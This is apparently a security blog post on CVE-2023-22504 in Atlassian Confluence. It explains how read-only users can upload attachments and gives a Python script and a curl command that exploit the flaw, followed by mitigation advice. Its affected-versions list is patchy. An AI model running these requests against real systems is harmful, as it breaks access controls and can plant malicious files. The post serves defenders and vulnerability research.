Access control is one of the cornerstones of web application security. When it fails, even in subtle ways, attackers can often do things they shouldn’t be able to. This is precisely what happened with CVE-2023-22504, a vulnerability in Atlassian Confluence Server and Data Center that lets authenticated users upload attachments to pages even if they don’t have write permissions.

Let’s break down the details, see how the exploit works with real examples, and review what you should do if you run Confluence in your organization. This post is based on original research by Rojan Rijal of Tinder Security Engineering.

What is CVE-2023-22504?

CVE-2023-22504 is a “Broken Access Control” vulnerability in Atlassian Confluence Server and Data Center. It allows any authenticated user who can view a page (read permission) to upload attachments to that page, even if write permissions to add content are not granted.

This breaks the intended access control model—attachments can include pretty much any file, including malicious scripts, document payloads, or simply huge files to fill up disk space.

Confluence Data Center: All versions before 7.19.9

*(Versions 8..x and higher are not affected by this flaw.)*

How Was It Discovered?

Credit goes to Rojan Rijal of Tinder Security Engineering Team, who found and responsibly disclosed the issue to Atlassian. You can find Atlassian’s official advisory here.

Understanding the Vulnerability

In Confluence, page access permissions are split into “read” and “write”. A user with only “read” access should only be able to view page contents and download existing attachments. However, it turned out that due to a bug in the /rest/api/content/{id}/child/attachment endpoint, all authenticated users with read access were also allowed to upload new attachments.

This is classic broken access control: the API didn’t check for “add attachment” rights.

Exploitation Step-by-Step

Imagine we have a user “viewer1” who only has read access to a sensitive Confluence page.

Goal: Upload a file to a page where “viewer1” shouldn’t be able to modify anything.

Every Confluence page has a content ID in its URL. Example

https://confluence.example.com/display/TEAM/Page+Title

# Content ID can often be found via the REST API or page source; let's say it's 56789

2. Prepare Request to Upload Attachment

API to abuse:  
POST /rest/api/content/{id}/child/attachment

Sample Python Code Using requests

import requests

# Replace these values:
confluence_url = "https://confluence.example.com";
username = "viewer1"
password = "password123"
page_id = "56789"

api_url = f"{confluence_url}/rest/api/content/{page_id}/child/attachment"

file_data = {'file': ('exploit.txt', b'Secret takeover by viewer1!', 'text/plain')}

response = requests.post(
    api_url,
    auth=(username, password),
    files=file_data,
    headers={'X-Atlassian-Token': 'no-check'}
)

print(response.status_code)
print(response.text)

3. Outcome

Even though “viewer1” has read-only access, the file will upload successfully and be associated with that page. Other users (including admins or page owners) will see the new attachment and might interact with it, possibly triggering more advanced attacks.

If you want a quick command-line test, here’s a sample

curl -u viewer1:password123 \
  -F "file=@exploit.txt" \
  -H "X-Atlassian-Token: no-check" \
  "https://confluence.example.com/rest/api/content/56789/child/attachment";

Why Is This Dangerous?

- Malware Upload: Attackers could upload macro-enabled Word docs, JavaScript, or even web shells if other vulnerabilities exist for execution.

Disk Space Exhaustion: Repeated uploads could exhaust storage, leading to denial of service.

- Data Exfiltration and Persistence: Disguised files could be used as a covert channel for future attacks or as hidden spyware loaders.
- Trust Boundary Violation: Users with only read access are trusted to not tamper with page content—in reality, they can silently “contribute” unwanted data.

Fix and Mitigation

- Upgrade Now: Atlassian fixed this bug in versions 7.19.9+. If you’re running an earlier version, update immediately.
- Audit Logs: Review your attachments and look for suspicious files uploaded by users with only read permissions.
- Segregate User Permissions: As always, restrict Confluence users to the minimum permissions they need.
- Reverse Proxy Limiting: If you can’t upgrade, consider filtering or rate limiting POSTs to the attachment endpoint at the proxy level.

References

- Original Atlassian Advisory
- NIST NVD Summary
- Rojan Rijal on Twitter
- Atlassian Release Notes

Conclusion

Broken access control bugs like CVE-2023-22504 are a good reminder: don’t assume the app enforces your rules, test and verify them! If you run affected Confluence servers, patch now. If you’re a security pro, keep an eye on your logs. And if you’re a user, remember—even “read-only” might not mean what you think.


*This post is based on analysis of public data but focuses on practical exploitation steps for defenders and security engineers. If you found this helpful, share it to help others keep their Atlassian environments secure!*

Timeline

Published on: 05/25/2023 14:15:00 UTC
Last modified on: 06/01/2023 16:41:00 UTC